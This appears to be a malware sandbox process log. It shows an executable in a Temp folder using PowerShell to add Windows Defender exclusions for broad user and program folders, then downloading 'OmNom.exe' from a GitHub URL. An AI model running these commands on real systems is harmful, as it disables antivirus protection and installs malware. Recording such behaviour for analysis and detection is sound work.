5afe4f55-3d33-485a-a988-c907a1833384.exe "C:\Users\test22\AppData\Local\Temp\5afe4f55-3d33-485a-a988-c907a1833384.exe"
2056cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\test22\AppData\Local\qqbcxtfqkr', 'C:\Users', 'C:\ProgramData'"
2192powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\test22\AppData\Local\qqbcxtfqkr', 'C:\Users', 'C:\ProgramData'"
2236cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/rpedro1/niha/raw/refs/heads/main/OmNom.exe' -OutFile 'C:\Users\test22\AppData\Local\qqbcxtfqkr\lkpupbxqy.exe'"
2736powershell.exe powershell -Command "Invoke-WebRequest -Uri 'https://github.com/rpedro1/niha/raw/refs/heads/main/OmNom.exe' -OutFile 'C:\Users\test22\AppData\Local\qqbcxtfqkr\lkpupbxqy.exe'"
2780